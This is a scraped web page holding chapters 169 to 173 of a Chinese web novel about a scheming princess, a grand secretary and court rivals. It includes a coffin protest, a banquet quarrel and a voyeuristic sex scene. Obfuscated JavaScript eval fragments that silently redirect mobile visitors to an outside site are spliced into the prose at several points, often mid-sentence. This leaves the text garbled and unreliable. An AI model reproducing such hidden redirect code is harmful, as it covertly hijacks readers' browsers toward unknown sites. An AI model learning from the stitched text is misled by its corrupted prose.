l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820122|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才没,不是要停灵三日,怎么今日就要……” 话还没说完,就见苟御史的妻儿带着黑木棺材停在了公主府门口。 他们哭的更加凄惨。 “大家来给我们评评理啊,我家大人刚正不阿两袖清风,就是因为在皇上面前**了长公主,就被长公主给害**啊,天道不公啊……” 百姓们都一脸震惊,没想到这苟御史的死,竟然还跟长公主有关。 “我们知道长公主身份尊贵,蛮横霸道,也不求长公主被绳之以法,只求长公主能亲自出来,来我家老爷面前磕个头,以此来告慰老爷的在天之灵啊!” 苟御史家的下人一边抹眼泪,一边道。 “长公主好狠的心啊,我相公年纪轻轻,正值中年,她就要了我相公的命啊,我们孤儿寡母以后的日子可怎么活啊!” 苟夫人和几个孩子披麻戴孝,跪在苟御史棺材前,哭的肝肠寸断,而苟御史的棺材就摆在了公主府的大门口。 围观的百姓越来越多,看着如此情形,不由得开始指责起慕馨宁来。 “长公主真是太可恶太恶毒了,晏首辅怎么能娶这样的女人过门,我们一定要将她的恶行告知首辅大人才是!” “就是,她好色也就罢了,竟然还草菅人命,苟御史可是朝廷命官啊,竟然就这样被她害**啊,首辅大人若是知道,绝对不会对长公主善罢甘休的!” 两个人说着,已经出了人群,气冲冲的去寻晏骁寒告慕馨宁的状了。 公主府门口的台阶下,好几个人已经准备好了臭鸡蛋和愁牛粪,就在他们准备替苟御史出一口恶气的时候,公主府的大门缓缓打开。 慕馨宁打着哈欠抬步出来,看着眼前的棺材和一地的纸钱,不怒反笑。 那苟御史死都**,这一家人不应该安安分分夹着尾巴做人,竟然还敢来公主府**,简直是自寻死路! 杨嬷嬷气的怒声开口:“你们真是好大的胆子,把公主府当什么……” 话没说完,一个臭鸡蛋就朝着她劈头盖脸的砸了过来。 第169章 全完了 谁知,慕馨宁却道:“不必,他公务繁忙,怎敢劳他大驾。” 语气中,谈不上对晏骁寒的关心和尊重,倒是让人听出些阴阳怪气来。 万一晏骁寒不想见她,那她岂不是给晏骁寒添堵,她何必自找没趣呢。 失望是必然的,人群中的晏骁寒面色阴沉的仿佛要滴出水来,转身便离开。 有人看见晏骁寒离开的身影,刚要惊呼出声,却感受到了晏骁寒警告的目光,他当即闭嘴,大气都不敢喘。 所以从头到尾,慕馨宁都不知道晏骁寒出现过。 苟御史的管家心里有些没底,他眼珠子一转,硬着头皮开口:“长公主可不要污蔑好人,我们大人为人正直,刚正不阿,可从未做过什么坏事!” “是么,那我们。就拭目以待吧。” 慕馨宁早就猜到,肯定有人会拿苟御史的死来做文章,闹得她和公主府不得安宁,所以昨日苟御史一死,她就让人去搜集苟御史的罪证了。 苟夫人眼里闪过一抹惊慌,然后对身边的人道:“夫君已经过世,人死不能复生,天太热了,夫君晒不得,我们还是将棺材抬回去吧。” 慕馨宁一提到什么罪证,她顿时就后悔了,当初就不应该听华丽妍的挑拨,带着棺材来公主府**,若是那什么罪证的事情是真的,那他们一家就算完了! 管家提起来的心渐渐放下连忙附和:“对对对,还是先抬回去吧,让大人好好的走!” 还是离长公主远一些,得派人注意一下宫里和刑部的动向,一但有变,还是跑路要紧! 下人刚要抬起苟御史的棺材,慕馨宁一抬手,刘营带着人直接将他们团团围住。 “你们,这是要干什么!”苟家人顿时怒火中烧,脸色难看的质问慕馨宁。 苟夫人一边擦眼泪一边朝着慕馨宁行礼:“长公主,您害死我夫君的事情,我们已经不做计较了,您到底还想怎么样!” 慕馨宁嘴角微勾:“我公主府也是你们想来就来,想走就走的?” “你个坏女人,我爹都被你害**,你还想如何,难道还要杀了我们全家不成!”苟正光忍无可忍,看着慕馨宁,恨不得把自己的一双眼睛瞪出来。 慕馨宁面色微冷:“杀你们全家,也未必不可……” 苟御史一家人双腿一软,随即有个胆大的嚷嚷道:“你敢,你这是草菅人命,这件事要是让皇上知道,肯定不会放过你的!” 慕馨宁挑眉,嘴角的冷笑加深:“话别这么说,没准要你们一家人性命的,就是皇上呢。” “皇上最是深明大义,勤政爱民,怎么会因为你这个毒妇的一句话就要我全家的命,荒唐!”苟正光满脸怒容,语气嘲讽, 慕馨宁眼睛眯了眯:“你口口声声说本宫恶毒,本宫怎么比得上你。” “一年前,你为了一块田产,要了人家好几口人的性命,你不但害人性命,还**了人家年纪轻轻的姑娘。” 苟正光顿时喉咙一紧,眼神闪烁起来。 他握了握直冒冷汗的拳头,硬着头皮开口:“你胡说,你就是冤枉好人。” “至于本宫是不是胡说,想必很快就会有个结果。” 原本气势冲冲找慕馨宁麻烦的苟家人,顿时都慌了。 苟夫人,整个人已经瘫坐在了地上,因为这件事,确实是真的。 “走,回府,我们回府……”她被下人搀扶着起来,就匆匆要往回走,连苟御史的棺材都顾不得。 活人都要没命了,她怎么还顾得上一个**。 可是她没走多远,刑部已经来人了。 刑部侍郎高举手里的明黄色圣旨:“圣旨到……” 苟夫人顿时六神无主,苟正光一把将她扶住。 他不但没有反思自己的错误,眼神里还带着希冀:“娘你别怕,没准是皇上感念我爹这些年的勤勤恳恳、没有功劳也有苦劳,又对他的死于心不忍,所以特意来封赏我们来了!” 母子二人对视一眼,苟夫人顿时就有了底气。 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820124|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,他们做的那些个事,那也是受了华庭绅的指使,华庭绅的女儿马上就要嫁给太后的小儿子了,有华庭绅在,定然不会让他们全家遭难。 而且,当初那些个事情,做的可是干干净净,没有一点蛛丝马迹,仅凭一个慕馨宁,可没法子治他们的罪。 众人齐刷刷的跪下,刑部侍郎这才打开圣旨。 “奉天承运,皇帝诏曰,经查实,苟御史为官多年,残害忠良中饱私囊,苟御史长子苟正光为祸百姓、强抢民女,证据确凿,苟家一众人等全部下狱听候发落,苟府即刻查抄,钦此!” 圣旨念完,苟御史一家人顿时如丧考祀,哭的一塌糊涂,比苟御史死的时候更加伤心难过了。 “怎么会这样……怎么会这样啊……” “完了……全完了……啊呜呜呜……” “苟夫人。” 就在苟御史一家人要被官差带走的时候,慕馨宁忽然缓步上前。 她意味深长的道:“可得好好感谢给你们出主意的人,要不是你们的棺材摆到了我公主府,本宫也不至于赶尽杀绝。” 苟夫人面无血色,一阵哭一阵笑,像是疯癫了一样:“啊哈哈……好啊……好的很……” 苟正光握了握拳头,要不是华丽妍去府上祭拜,说了那么一番话,他们也不至于落得如此下场,该死的**! 他想到了什么,忽然挣脱开官差的钳制,一下子扑到慕馨宁面前,扑通一下跪在地上:“长公主救命,只要你救了我们一家,我们定会为长公主效犬马之劳!” 之前他还对慕馨宁横眉怒目,把慕馨宁当成不共戴天的仇人,如今为了保命,竟然也能放的下脸皮了。 慕馨宁脸上的表情多了几分耐人寻味:“那你们,就好好表现吧……” 好好表现,如何表现? 当然是拖华家人下水了。 聪明的人,自然会心知肚明。 而前头,角落处的华丽妍,在看见苟正光给慕馨宁下之后,顿时一阵心慌。 第170章 让他伺候一晚 而前头,角落处的华丽妍,在看见苟正光给慕馨宁跪下之后,顿时一阵心慌。 苟正光这个奸诈小人,为了活命,定然会将受她挑拨的事情如实交代,这件事要是传出去,她定然颜面无存,没准太后和易王为了颜面,拒绝让她过门。 父亲如今已经从太尉降到了工部尚书,若是她坏了名声,皇上一气之下再让父亲受罚,那该如何是好? 她眼里闪过一抹杀意,握紧袖子里的拳头,快步离开。 慕馨宁不经意,看见华丽妍的半个背影,她嘴角微勾,招呼刘营上前,在他耳边低语几句。 人都要走光了,即墨也没看见晏骁寒的人影,他一阵纳闷,只能先回府上。 他倒是想跟慕馨宁邀功,表达一下自家主子对慕馨宁的关怀,毕竟要是没有自家主子,刑部不可能带着圣旨这么快就赶来。 可想想还是算了,万一得不偿失怎么办,毕竟长公主的思维和做派,跟正常人不大一样。 已经快要入秋,天气还是很热。 打扫的下人在房间里忙活一阵,汗水就浸湿了衣裳。 见此,慕馨宁合上手里的账本,随手画了一个自动简易风扇递给杜若:“找两个木工,做几个这个东西。” 杜若一脸诧异:“木头花?” 看起来挺像的。 “做出来你就知道了。” “哦……” 杜若应声,立马就去办,正好和进门的杨嬷嬷撞了个正着。 “长公主,勤王府送来了喜帖。” 慕馨宁伸手接过,看见上头的内容有些惊讶:“南阳郡主,就要大婚了?” 杨嬷嬷点头:“之前好像要跟华尚书家结亲,不知怎的,忽然又定了国公府世子。” 勤王府,和安国公府联姻,确实有些意外。 这两家要是凑到一起,算是门当户对,强强联合,太后和永平帝定然会想方设法拉拢。 不过,毕竟皇后的母家是安国公府,这勤王和安国公府定然还会率先考虑效忠永平帝。 “这件事要是被崔惜颜知道,肯定会哭的死去活来吧?”慕馨宁合上手里的喜帖,笑了一声。 杨嬷嬷想到了什么,有些担忧:“崔小姐已经不足为惧,可那南阳郡主,不是省油的灯,没准会针对您。” 慕馨宁点头,表示赞同,毕竟那个南阳郡主,可是恨**她。 这两日,天气炎热的不行,冰块是供不应求,有玄翎帮忙,慕馨宁又赚了不少银子。。 慕馨宁又研究出自动风扇来,虽然外形还有待完善,但很是实用。 风扇的每个叶片上装半竹筒的冰,风扇摇动起来之后,凉意简直是让人浑身舒坦。 “主子,您也太厉害了,这样的好东西您怎么没早一些做出来,省的奴婢们遭那么大的罪。” 杜若趴在桌子前,看着面前自动转个不停,又凉风阵阵的木质风扇,别提多喜欢了。 杨嬷嬷放下手里的针线活,笑着道:“也不晚,别忘了还有个秋老虎要来了,这风扇还能用许久的。” “阿宁,听说你又做了什么宝贝?” 纳兰倾人还没露面,声音率先传了进来。 杜若连忙给纳兰倾腾地方。 纳兰倾进门之后,看见桌上那稀奇古怪的物件,一脸好奇:“这什么东西,别说,还挺凉快!” 她直接放下手里快摇冒烟的折扇,整个人凑到风扇跟前研究起来。 杜若简单很纳兰倾讲了讲,纳兰清当即恍然大悟:“阿宁,你有两下子啊,你多做一些,我回南岳好拿着送礼。” 说着,她忽然灵光一现:“要不然,咱们再合作一下,我觉得这东西要是拿出去卖,肯定能赚一大笔银子!” 慕馨宁手里有待发展有待完善的生意可不少,自然没有精力再做这个。 所以她就道:“我将这制作风扇的设计图卖给你,你爱怎么折腾怎么折腾吧。” 纳兰倾把玩着手里的扇子,有些激动:“那你说说,多少钱?” 慕馨宁:“你看着给吧。” “行,那就这么定了。” 纳兰倾喝了口茶,然后一脸正色的对慕馨宁道:“阿宁,我明日就要走了。” 慕馨宁原本正在埋头算账,听纳兰倾这么说,当即放下手里的笔:“是不是南岳有了什么麻烦?” “没有,母皇一直催我回去,出来这么久也确实该回去了。” “我皇兄知道了?既然你明天走,今晚岂不是要给你办个送行宴?” 之前纳兰倾时不时在她跟前晃,她还有些烦心,如今一说要走,慕馨宁又觉得有些招待不周。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827064|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 纳兰倾摇头:“算了,那个什么劳什子宫宴,都不够折腾人的,我这人最讨厌麻烦,我已经跟东陵皇帝说了,送行宴免了。” 慕馨宁也松了一口气:“那就叫几个朋友来公主府聚一聚,就算是为你送行吧。” 纳兰倾撇嘴:“你能有什么朋友。” 慕馨宁:“……” 也谈不上朋友不朋友的,慕馨宁随便请了几个人。 因为时间紧急,也来不及准备什么,晚上还是各种烧烤,又加了各种炸串。 夕阳已经下山,没了之前的炎热,公主府的晚宴已经准备就绪。 趁着人还没到齐,纳兰倾凑到慕馨宁跟前,语气比平常还软了几分:“阿宁,有件事,我想跟你商量。” 慕馨宁心里咯噔一下,忽然有种不好的预感:“什么事?” 纳兰倾笑了笑:“我看中了那个玄翎,你能不能……” 慕馨宁脸色一变:“不能,没得商量!” 玄翎可是她最得力的助手,若是送给纳兰倾做男宠,别说玄翎愿不愿意,那许多事情,都得她亲力亲为,她还不一定有玄翎做的好。 纳兰倾脸色有些不好:“怎么不行,你又不喜欢他,听说前些日子你还给他安排了女人伺候。” 慕馨宁简直是不知道该说什么才好,纳兰倾怎么跟其他的女人一样呢? 在东陵,男人是天,女人只是靠男人而活,男人的尊严是不能践踏的。 就算纳兰倾是南岳皇太女,身份尊贵,可是东陵但凡要脸面的男人都避之不及,玄翎断然也不会委身于纳兰倾,那定会比杀了他还难受吧? 就听纳兰倾继续道:“你要是让他跟我走,我给你五万两银子,如何?” 慕馨宁摇头,态度坚定:“绝对不可能。” 就说玄翎现在给她赚的银子,都不止五万两了,她不会为了区区蝇头小利,就出卖玄翎。 纳兰倾有些不甘心:“要不然,就让他伺候我这一晚,那五万两我还照旧给你,行不行?” 慕馨宁当然拒绝,在她心里,玄翎的能力,可是无法用金钱估量的。 话刚到嗓子眼,身后忽然传来玄翎的声音:“行啊。” (宝子们,昨日更新的有些晚,系统又有延迟,抱歉啦!今日三章奉上,爱你们!!!) 第171章 心疼坏了吧 慕馨宁脸色一变,连忙解释:“玄翎你别误会,我可没答应她。” 玄翎双手环胸,邪魅一笑:“既能和南岳皇太女春风一度,又能给你赚五万两银子,何乐而不为。” 玄翎这话,让慕馨宁心里不是滋味,好像她为了钱,什么事都能做得出来一样, 她想要阻止,就见纳兰倾的手在玄翎健硕的腰迹掐了一把,一脸思春的样子:“那今晚,我在房里等你,可不准反悔。” 玄翎一把捏住纳兰倾的下巴:“晚上若是挺不住,可不准哭。” 慕馨宁:“……” 那她还有阻止的必要吗? 说起来,纳兰倾也是大家眼里公认的美人,若是玄翎真对她有了那种征服的想法,应该也算正常吧。 纳兰倾生怕慕馨宁和玄翎反悔,一口气就给了慕馨宁十万两银子。 慕馨宁震惊的下巴还没合上,纳兰倾道:“你不是把那个风扇的制作方法给我了,我先给你五万两,若是生意做大了,日后分你一成红利。” 慕馨宁感慨,有个财大气粗的朋友,也算是一件幸福的事情吧。 公主府给纳兰倾准备的送行宴还算顺利,唯一让慕馨宁添堵的,就是晏骁寒竟然是带着那位表小姐来赴宴的,杜若见了差点没把人轰出去。 “长公主,初次登门,琉璃特意准备了见面礼,还请您不要嫌弃。” 水琉璃行礼,身旁的丫鬟端着个锦盒上前。 锦盒打开,里头安静的躺着一把银嵌八宝**。 看着倒是个好东西,只是水琉璃一上来就送她**,又是何意? 慕馨宁扯过一抹笑,客套道:“琉璃小姐有心了。” 水琉璃笑着道:“琉璃并不知长公主的喜好,所以这礼物还是骁寒准备的,长公主喜欢就好。” 话说的好听,其实心里对慕馨宁却满是嘲讽。 **,代表的是切断,或者分离,慕馨宁竟然不懂其中的深意,那就祝长公主和骁寒,早日恩断情绝吧。 慕馨宁嘴角的笑淡了一些,晏骁寒是担心她会找水琉璃的麻烦,所以才亲自挑了礼物让水琉璃送给她? “哪那么多废话,我们公主府什么都不缺,我们主子跟你客套两句就是为了给你两分面子,你倒是蹬鼻子上脸了!” 杜若随不懂水琉璃送**的深意,但一看见水琉璃就来气,话说的也很冲。 主子手底下的人跟着晏首辅往南方跑了一个来回,吃了多少苦受了多少罪,冒死救了晏首辅一命,这功劳还被水琉璃给抢去了,真是气死她了! 水琉璃面色一僵,随即红了眼睛,她惊恐的跪下朝着慕馨宁行了一个大礼:“长公主恕罪,是琉璃没见过什么世面,冒犯了长公主殿下。” 慕馨宁的目光,落在不远处的晏骁寒身上。 果然,晏骁寒见水琉璃受委屈,当即就走了过来:“发生了何事?” 水琉璃擦了擦眼角的泪,笑的有些勉强:“没什么,都是琉璃的错,是琉璃冒犯了长公主,琉璃甘愿受罚……” 晏骁寒沉默着,看向慕馨宁。 四目相对时,慕馨宁仿佛感受到了晏骁寒对她的不悦,对水琉璃的心疼。 她暗暗咬唇,看晏骁寒的目光,多了两分挑衅:“既然琉璃姑娘知错,那就掌嘴吧。” 不是在她面前装委屈,那她就让这位琉璃姑娘好好委屈委屈! 不等水琉璃反应过来,杜若撸起袖子上前,**就给了水琉璃好几个耳光。 参加送行宴的宾客见此,都有些懵,这琉璃姑娘好好的怎么就挨了打了? 难道就因为琉璃姑娘住在了晏骁寒的府上,又是晏骁寒的表妹,所以心生嫉妒了? 水琉璃捂着红肿的侧脸,低着头,眼泪吧嗒吧嗒的往地下掉,一声也不吭,像是受尽了委屈。 她一旁的丫鬟顿时不满道:“长公主,不知我家姑娘怎的得罪了您,竟然当着这么多人的面打我家姑娘的脸!” 慕馨宁笑笑,端起面前的凉茶喝了一口,目光又落在晏骁寒身上。 这厮定然是心疼了他的这个所谓的表妹,没准儿也要跟她翻脸呢。 杜若冷哼:“你耳朵聋了?没听见是你家姑娘非要让我家主子惩罚她的,主随客便,我家主子当然满足她了!” 慕馨宁真想给杜若竖起个大拇指来,这丫头真是懂她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827065|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们,你们简直是欺人太甚。”水琉璃的丫鬟心一横,直接跪在晏骁寒面前: “首辅大人一定要给我家姑娘做主,总不能让人随意欺凌,她的颜面又置于何地?” 慕馨宁笑了笑,缓缓开口:“本以为琉璃姑娘有多大的本事,当初不是还在危难之中救了晏首辅一命么,如今竟然也需要男人给你撑脸面了?你这是挟恩图报呢,还是当初救晏骁寒危难的,并不是你?” 晏骁寒深邃的眸子泛起波澜,嘴角闪过一抹似有若无的笑意,这女人伶牙俐齿,果然不是个隐忍吃亏的。 水琉璃唇色发白,慕馨宁说什么挟恩图报,不会是发现了什么吧? 她的指甲差点刺进皮肉,眼泪如断了线的珠子,转头就对自己的丫鬟怒道:“胡说什么,长公主身份尊贵,责罚我自然有她的道理,哪容你胡乱攀扯骁寒!” 说着,她又小心翼翼的对晏骁寒道:“骁寒,你别听她胡说,可不要因为我跟长公主生分了……” 她一副顾全大局,为晏骁寒跟慕馨宁考虑的样子。 经她这么一说,众人顿时都觉得慕馨宁蛮横无理,以权压人。 一旁的纳兰倾早就看出什么,嗤笑一声:“什么玩意,这样的手段半点新意都没有。” 赫连儒也随口嘟囔一句:“男人不都喜欢这一套么。” 杜若翻了个白眼:“琉璃姑娘叫的可真亲切,听说你不过是一个乡绅的女儿而已,竟然敢直呼首辅大人名讳,不知道的还以为你是什么尊贵的公主,又或者是首辅大人的发妻呢!” 水琉璃身子晃了晃,面无血色:“我……琉璃知错了,琉璃再也不敢了……还请长公主恕罪。” 她说着,连忙朝着慕馨宁磕头,第三个头刚磕完,忽然两眼一翻,人就晕**过去。 众人见此情形,都很是心疼水琉璃,毕竟这姑娘容貌好,人也是柔柔弱弱的,长公主也太过分了。 “琉璃!”晏骁寒伸手,将倒地不起的人扶了起来。 不等他发难慕馨宁,慕馨宁一脸担忧的站起身来:“哎呦,怎么就晕了呢,首辅大人心疼坏了吧?快把人抱回府里,好好请宫里的太医给她诊诊脉吧!” 第172章 偷窥房事 慕馨宁不过三言两语,晏骁寒一时间,竟然陷入了尴尬的境地。 众人都瞪大了眼睛等着看晏骁寒是不是真的如慕馨宁所说的那样,心疼的把人抱回府里。 纳兰倾一口酒差点喷出来,这才多久不见,阿宁的手段,果然是见长了。 她也学着慕馨宁的语气担忧的道:“这公主府离晏首辅府上可是有一段距离,首辅大人把人抱在怀里走那么远,琉璃姑娘的骨头不是要散架了,到时候首辅大人定会更加心疼。” 她喘了口气,继续道:“来人啊,把我的马车架过来,送首辅大人和琉璃姑娘回府。” 赫连儒吃了口烤鱼,心里腹诽:公主府的热闹真多,比那些个戏文还要精彩,他不想回北赫了怎么办? “把人带回去。”晏骁寒并未再做其他,直接吩咐了即墨。 即墨招呼两个下人,就将水琉璃架走了。 晏骁寒没走,坐回了自己的位置,对水琉璃的态度,也不似之前那般关心,众人一时间摸不清水琉璃在晏骁寒心里的分量。 水琉璃一走,周围顿时安静下来,精彩的表演即刻便开始了。 众人沉浸其中,逐渐淡忘了之前的闹剧。 吴萸忍不住好奇,喊了即墨过来:“骁寒不会真想将那个琉璃姑娘收进房里吧?” 与其说好奇,更不如说是期待,他期待晏骁寒多收几个女人,省的把慕馨宁看的太重要,让慕馨宁得意忘形。 一旁的徐太尉也竖起了耳朵,好歹长公主也算得上是他的上司,他关心一下长公主的私事也是应该的。 即墨悄无声息的顺走吴萸面前的一半烤串,只留下六个字,人就溜了:“你问我,我问谁?” 吴萸:“你……” 徐太尉摸了摸下巴上的山羊胡,又往蔺先生跟前靠了靠:“老蔺,你说长公主不会因为一个乡绅之女,就和首辅大人翻脸吧?” 他从工部尚书一下子升至太尉,还是晏骁寒的功劳。 要是慕馨宁跟晏骁寒翻脸,那他这个太尉能不能坐得稳,可就难说了,万一首辅大人一气之下,直接贬了他官让他回家种地,那就更遭了。 蔺先生放下茶盏,正色道:“这种事情,我实在是说不好。” 慕馨宁喝了点酒,人有些微醺,强撑着千斤重的眼皮,将最后一行宾客送走。 她好不容易松了口气,一转身,却发现晏骁寒还没走。 慕馨宁顿时火冒三丈:“怎么,你不会还想请我外公去给你那位表妹诊病吧?” 毕竟那个水琉璃是晏骁寒前未婚妻的妹妹,没准儿晏骁寒爱屋及乌,真要请老头儿出手呢。 晏骁寒俊美不凡的脸上看不出喜怒,淡淡道:“我和她什么也没有发生,明日就将她请走。” 是他当初思虑不周,如今这女人怕是不会轻易善罢甘休。 果然,就见慕馨宁嘲讽一笑:“你想证明什么?外人看来,还不是因为本宫容不下她,你才把人送走的?” 晏骁寒想要解释,慕馨宁却没给他解释的机会:“你大可以放心,只要她不招惹我,就算她爬了你的床怀了你的孩子,我也不会找她的麻烦。” 晏骁寒的脸色沉了下来:“你是吃醋,说的气话,还是真这么想?” 这女人就因为一个水琉璃,就要跟他生分到这种地步,那他们从前那般,又算什么? 慕馨宁不答反问:“我怎么想跟你有关系?你在意过我的想法?” 若是晏骁寒真在意她的想法,又怎么会让那个所谓的表妹住到她的府上,又怎么会把人带到她的公主府给她添堵? “我带她进京,其实是因为……” 晏骁寒想要解释,可是慕馨宁不想听:“送客!” 看着晏骁寒黑沉的面色,即墨心里叫了一声苦。 自家主子在长公主这里受了气,遭殃的还是他们这些个下人啊。 看来他们这一夜是别想好了,都陪着主子比比武吧。 有几个倒霉蛋,在床上躺了三天,直到现在还没下床呢! 夜已深,屋檐上的大红灯笼随风摇曳,树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827066|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶被吹的沙沙作响。 慕馨宁洗漱好之后,就上了床。 杜若劝道:“主子也别太难过,没准是那个琉璃纠缠首辅大人,首辅大人才不得不把她带到公主府来的。” “不要跟我提他。” 杜若知道慕馨宁心情不好,也不知道再怎么劝才合适。 她刚要要退下去,慕馨宁想到什么,忽然跟诈尸一样,整个人都从床上弹了起来。 杜若吓了一跳:“主子……怎么了?” “玄翎呢,是不是真跟纳兰倾要那个?” 慕馨宁想起一个自己很感兴趣的事情,直接将晏骁寒和水琉璃的事情抛到了脑后。 杜若脸有些红:“皇太女怕玄翎跑了,早就让人盯着,宴会一结束,就……” 就让人把玄翎给请到了自己房里。 慕馨宁眼睛一亮,随便裹了一件外衣,出门就喊了鸦羽,主仆二人很快停在了纳兰倾房间不远处。 树根底下,慕馨宁闭着眼睛,竖着耳朵听了半天,也没听见半点动静。 鸦羽脸色通红,浑身不自在。 她正要劝慕馨宁回房休息,慕馨宁却转头对她道:“你带着我上屋顶,咱们瞧瞧热闹。” 鸦羽嘴角动了动,有些犹豫,这要是被玄翎知道了,之后大家还怎么相处? “你快点,不行喊刘营来。” 慕馨宁已经等不及了,因为她眼睁睁看着纳兰倾房间里的烛火减了大半,这不就是要那什么的前兆么。 鸦羽心一横,也只能带着慕馨宁攀上了屋顶。 二人刚在屋顶站稳,忽然发现面前有个人影,他弓着身子,鬼鬼祟祟,正在小心翼翼的掀瓦片。 赫连儒看见二人,半点也没惊讶反而还有些兴奋:“来了,没想到我们还是同道中人!” 慕馨宁有些浑身不自在,刚想找个借口,就听赫连儒激动的道:“快看,开始了!” (宝子,评分一直上不去,能不能动动你赚钱的小手儿,给个五星好评呀,么么……) 第173章 你死我活 慕馨宁哪还顾得上什么脸面,直接凑到赫连儒跟前,睁大眼睛往里瞧。 房间里的烛火忽明忽暗,玄翎动作粗鲁的刚将纳兰倾压在身下,忽然顿了一下。 他的耳朵动了动,目光锐利的撇了一眼屋顶。 “怎么,你后悔了?”纳兰倾生怕玄翎跑了,两只手圈住他的脖子,两条腿也勾住了他的腰。 屋顶上的赫连儒一副看不下去的样子:真是水性杨花,不知廉耻。 玄翎笑的邪魅:“以前那些个男人怎么伺候你的?” 头一次被男人问这个,床上老手的纳兰倾,竟然有些脸红:“就……那么回事吧……” 玄翎从枕头底下取出两条红色丝带:“今日,我们换个玩儿法。” 纳兰倾有些紧张,又有些期待:“听你的,你说怎么玩儿就怎么玩儿!” 玄翎将纳兰倾的眼睛蒙住,三下五除二的扒光了纳兰倾的衣服,将纳兰倾的双手捆绑,并且抬至她的脑后。 赫连儒吞了吞口水,压低声音:“还是你们东陵的男人会玩儿。” 慕馨宁:“走的时候送你两个。” 赫连儒:“……不必。” 纳兰倾的身前一览无余,屋顶上的二人看着,眼睛瞪的溜圆。 她看了看纳兰倾的,再扯开衣领,看了看自己的,差别可不是一星半点。 不经意对上赫连儒打趣的目光,慕馨宁忽然一个伸手,直接拉开了赫连儒的衣襟。 她就不信,赫连儒的比她的大。 “干什么!”赫连儒连忙扯回自己的衣领,紧紧捂住。 慕馨宁有些失望,天色太暗,她什么也没看见。 “那个,你可别勒坏了,影响发育。”她好心提醒。 赫连儒脸有些烫,没好气的道:“管好你自己的事吧!” 慕馨宁陷入沉思,也不知道纳兰倾身材如此‘凸出’,是不是因为男人多,开发的好。 赫连儒可没慕馨宁那么多想法,此时的他趴在瓦片上,看的正起劲儿。 相比从前那些男人的胆怯和小心翼翼,玄翎的动作相对‘暴力’,体力也非同寻常,纳兰倾喜欢的很,喘息声和呻吟声,让人骨头都酥了。 赫连儒有些不甘心:“他办个事怎么还穿着衣服,我什么也看不见啊!” 还有,纳兰倾那个叫声,让人头皮发麻,好像他后花园里,发情的母猫。 房间里的动静越来越大,赫连儒看的津津有味,慕馨宁浑身不自在:“你慢慢看吧,我先走了。” 赫连儒调侃道:“怎么,也耐不住寂寞了?” 只可惜,晏骁寒应该满足不了慕馨宁,也不知道慕馨宁会不会悄悄找别的男人。 嗯,又想去偷看慕馨宁的房事了怎么办,不知道有没有这个机会…… “你滚。” 感受到赫连儒不怀好意的打量,慕馨宁瞪了赫连儒一眼,有些恼羞成怒的让杜若带着她下了屋顶。 以前都是她嘲弄别人,怎么如今竟然被赫连儒嘲弄了? 她咽不下这口气。 慕馨宁原本打算悄无声息的回房休息,忽然眼底里闪过一抹狡诈。 她弯腰,捡了一块大小适中的石子递给鸦羽:“你挑个好位置,给赫连儒一下。” 鸦羽嘴角抽搐,这种缺德事,也就自家主子能想得出来。 房里的两个人水火交融,已经到了紧要关头的地步,赫连儒看的都快起了反应。 忽然间,一个黑点在眼前逐渐放大,最后‘啪’的一下砸在他的额头,赫连儒顿时疼的两眼直冒金星。 “啊…… ” 赫连儒尖叫一声,捂着脑门,人吓得半死。 完了完了,有刺客,他的脑袋是不是破了个窟窿,这还能活的了吗? 赫连儒原本魂儿都吓丢了,她的手连忙捂住额头的伤口,准备喊大夫,忽然发现情况不对。 因为他的额头出现的,不是血窟窿,而是鼓起来的一个大包! “谁,什么人!” 赫连儒的尖叫声太大,即使纳兰倾已经到了欲仙欲死的地步,但是她耳朵不聋。 在玄翎抽身的一瞬,她裹了一件衣服,提着剑杀气腾腾的就冲出去了。 “该死的狗东西,竟然打扰我的好事,今日不是你死就是我活!” 